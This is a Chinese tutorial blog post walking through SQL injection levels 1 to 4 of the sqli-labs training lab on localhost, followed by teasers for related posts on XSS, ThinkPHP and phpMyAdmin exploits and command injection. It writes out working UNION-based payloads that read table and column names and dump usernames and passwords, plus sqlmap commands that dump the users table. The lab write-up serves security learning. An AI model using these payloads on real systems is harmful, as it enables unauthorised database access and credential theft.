基于GET报错的sql注入,sqli-lab 1~4

根据注入类型可将sql注入分为两类:数字型字符型
例如:
数字型: sleect * from table where if =用户输入id
字符型:select * from table where id ='用户输入id' (有引号)

通过URL中修改对应的D值,为正常数字,大数字,字符(单引号,双引号,双单引号,括号),反斜杠\来探测URL中是否存在注入点。

另外-- (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。

sqli-lab less 1~4基于报错的sql注入:

  • less1 GET - Error based - Single quotes - String
    1.输入id值尝试报错点: ?id=数字
    发现在id值为1~14可以正常返回
    在这里插入图片描述
    2.在id值(任意可以正常返回的id值)后添加单引号,发现报错,可能存在sql字符注入,
    在这里插入图片描述

可以得到,报错的sql语句为'14'' LIMIT 0,1,输入的引号闭合了id的前引号
猜测原sql语句为: select login_name,password from admin where id = 'id' limit 0,1+

3.利用order by 判断有几列数据
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ order by 3 --+
修改order by 后的值可发现1~3回显正常,order by 4 回显不正常,表示表有三列

4.使用union select statement : http://127.0.0.1/sqli-labs-master/Less-1/?id=15’ UNION SELECT 1,2,3 --+
查看显示位,输出2和3说明有两个显示位
在这里插入图片描述

5.利用union select 联合查询,获取表名
0’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
在这里插入图片描述

6.利用union select 联合查询,查看users表下的列名:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
在这里插入图片描述

7.利用union select 联合查询,查看username,password表下的字段值
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,group_concat(username,0x3a,password),3 from users–+
(0x3a表示分号)
在这里插入图片描述
得到所有的username和password

以上为手工注入过程,用sqlmap工具会更加方便快捷:

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs

在这里插入图片描述

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables

在这里插入图片描述

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C username,password --dump

在这里插入图片描述
得到username和password

  1. less2.GET-Error based-intiger based
    和less1基本相同

  2. less3 : Get-errsr based-single quotes with twist-string
    id=1’ --+回显不正常
    id=1’) --+回显正常
    说明是字符型注入
    语句与less1 相同

-less4 : Get- error bassed - Double Quotes - string
id=1" 用双引号回显不正常
id=1’ 和 id=1’) 都回显正常
可推测语句为 (id=“1”)
是("")双引号闭合型
在这里插入图片描述
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") --+ 回显正常
在这里插入图片描述
之后使用union select 联合查询
显示列名,表明字段

参考:
https://blog.csdn.net/sdb5858874/article/details/80727555
https://www.bilibili.com/video/BV1Q54y1D7VV?p=4

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/532637.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

xss原理和注入类型

XSS漏洞原理 : XSS又叫CSS(cross Site Script), 跨站脚本攻击,指的是恶意攻击者往Web页面里插入恶意JS代码,当用户浏览该页时,嵌入其中的Web里的JS代码就会被执行,从而达到恶意的特殊目的. 比如:拿到cooike XSS漏洞分类: 反射性(非存储型) payload没有经过存储,后端接收后,直接…

存储型xss案例

存储型xss原理: 攻击者在页面插入xss代码,服务端将数据存入数据库,当用户访问存在xss漏洞的页面时,服务端从数据库取出数据展示到页面上,导致xss代码执行,达到攻击效果 案例: 在一个搭建的论坛网站中, 根据存储型xss注入的条件,要找到可以存储到数据库的输入位置,并且这个位置…

反射型XSS案例

**原理:**攻击者将url中插入xss代码,服务端将url中的xss代码输出到页面上,攻击者将带有xss代码的url发送给用户,用户打开后受到xss攻击 需要url中有可以修改的参数 案例: 可能存在反射型xss的功能(点) : 搜索框等(所有url会出现参数的地方都可以尝试)……

xss-lab靶场通关writeup(1~6.......在更新)

level 2 : 标签被编码&#xff0c;利用属性完成弹窗 输入 发现没有弹窗 查看源代码&#xff1a; 发现&#xff1a; <>符号被编码 说明keybord参数进行了处理&#xff0c;那么只能从属性上进行恶意编码&#xff1a;先将属性的引号和标签闭合&#xff0c;用 // 将后面的…

PyTorch 分布式训练DDP 单机多卡快速上手

PyTorch 分布式训练DDP 单机多卡快速上手 本文旨在帮助新人快速上手最有效的 PyTorch 单机多卡训练&#xff0c;对于 PyTorch 分布式训练的理论介绍、多方案对比&#xff0c;本文不做详细介绍&#xff0c;有兴趣的读者可参考&#xff1a; [分布式训练] 单机多卡的正确打开方式…

Linux free 命令详解

Linux free 命令详解 free 命令用来查看系统中已用的和可用的内存。 命令选项及输出简介 关于各种命令的功能和命令选项&#xff0c;还是推荐英语比较好的同学直接看手册 RTFM&#xff1a;man free。这里简单总结一下一些重点&#xff1a; 功能及输出简介 free 命令显示系…

CTF web题 wp:

1.签到题 火狐F12查看源码&#xff0c;发现注释&#xff1a; 一次base64解码出flag 2.Encode 在这里插入图片描述 和第一题界面一样&#xff1f;&#xff1f; 轻车熟路f12&#xff1a; 发现编码&#xff1a; 格式看上去是base64&#xff0c;连续两次base64后&#xff0c;观…

【深度学习】深入理解Batch Normalization批归一化

【深度学习】深入理解Batch Normalization批归一化 转自&#xff1a;https://www.cnblogs.com/guoyaohua/p/8724433.html 这几天面试经常被问到BN层的原理&#xff0c;虽然回答上来了&#xff0c;但还是感觉答得不是很好&#xff0c;今天仔细研究了一下Batch Normalization的原…

ThinkPHP V5 漏洞利用

ThinkPHP 5漏洞简介 ThinkPHP官方2018年12月9日发布重要的安全更新&#xff0c;修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新&#xff0c;由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞&#xff0c;受影响的版本…

Vim 进阶1

Vim 进阶1 所有你觉得简单重复&#xff0c;可以自动化实现的操作&#xff0c;都是可以自动化实现的。 Vim光标移动拾遗 w&#xff1a;下一个单词的开头&#xff0c;e&#xff1a;下一个单词的结尾&#xff0c;b&#xff1a;上一个单词的开头&#xff0c; 0&#xff1a;行首…

攻防世界web题ics-06(爆破id值)

打开界面&#xff1a;嚯&#xff01;这花里胡哨 点来点去只有报表中心有回显&#xff1a; 发现url中id等于1&#xff0c;sql注入尝试无果&#xff0c; burp工具爆破id 对id的值进行爆破 burp报ERROR的话这是个bug&#xff0c;先点击Hex后点decimal手动刷新就可以使用 强行总…

crontab用法与实例

crontab用法与实例 本文基于 ubuntu 18.04 在Linux系统的实际使用中&#xff0c;可能会经常碰到让系统在某个特定时间执行某些任务的情况&#xff0c;比如定时采集服务器的状态信息、负载状况&#xff1b;定时执行某些任务/脚本来对远端进行数据采集等。这里将介绍下crontab的配…

手工sql注入常规总结

1.发现注入点 2.报数据库 先用单引号&#xff08;也尝试双引号&#xff09;闭合前面的语句&#xff0c;使注入的语句能够执行&#xff0c; 数字 0 :匹配字段&#xff0c;还有 11 12 等等都可以使用&#xff0c;有些网站会有过滤处理&#xff0c;建议采用 1%2b12 1%2b1>1 绕…

Systemd入门教程:命令篇

Systemd入门教程&#xff1a;命令篇 转自&#xff1a;http://www.ruanyifeng.com/blog/2016/03/systemd-tutorial-commands.html 作者&#xff1a; 阮一峰 日期&#xff1a; 2016年3月 7日 Systemd 是 Linux 系统工具&#xff0c;用来启动守护进程&#xff0c;已成为大多数…

【CVE-2018-12613】phpmyadmin 4.8.1 远程文件包含漏洞复现

**环境&#xff1a;**http://62.234.56.138:8080/server_databases.php 官网下载phpmyadmin 4.8.1 源码&#xff1a;index.php文件中 函数含义&#xff1a; targer非空targer是否位字符串不能以index为开头&#xff0c;即过滤了index值不能出现在blacklist内&#xff0c;即…

Systemd 入门教程:实战篇

Systemd 入门教程&#xff1a;实战篇 转自&#xff1a;https://www.ruanyifeng.com/blog/2016/03/systemd-tutorial-part-two.html 作者&#xff1a; 阮一峰 日期&#xff1a; 2016年3月 8日 上一篇文章&#xff0c;我介绍了 Systemd 的主要命令&#xff0c;今天介绍如何使…

CTFHUB 《请求方式》 http请求,curl命令总结

打开网页&#xff1a; 思路一&#xff1a; 根据题目&#xff0c;应该是向网页发送get方式请求&#xff0c;但并没有具体规定要发送什么&#xff0c;尝试get发送参数后&#xff0c;都没有返回网页&#xff0c;emmm’…好像不是我想的那种套路 思路二&#xff1a; 网上找到思路…

CTFHUB 《基础认证》:burp使用,basic请求了解

题目简介&#xff1a;在HTTP中&#xff0c;基本认证&#xff08;英语&#xff1a;Basic access authentication&#xff09;是允许http用户代理&#xff08;如&#xff1a;网页浏览器&#xff09;在请求时&#xff0c;提供 用户名 和 密码 的一种方式。详情请查看 https://zh.w…

CTFHUB《Web-信息泄露-备份文件下载》网站源码,

1.网站源码 三种方法&#xff1a; 方法一&#xff1a;dirsearch扫描git泄露 有文件下载 拿到flag 方法二&#xff1a;御剑&#xff08;超时10s&#xff09; 御剑其实也可以扫出来&#xff0c;但是一般我们扫域名超时时间都是三秒&#xff0c;本环境中需要超时10秒才能得到…

DVWA Command Injection 练习总结

low: 首先查看源码没有对字符进行任何过滤 target参数为将要ping的ip地址&#xff0c;比如在输入框输入127.0.0.1后&#xff0c;对于windows系统&#xff0c;会发出ping 127.0.0.1操作。 这里可以引入命令行的几种操作方式&#xff1a; A && B&#xff1a; 先执行A…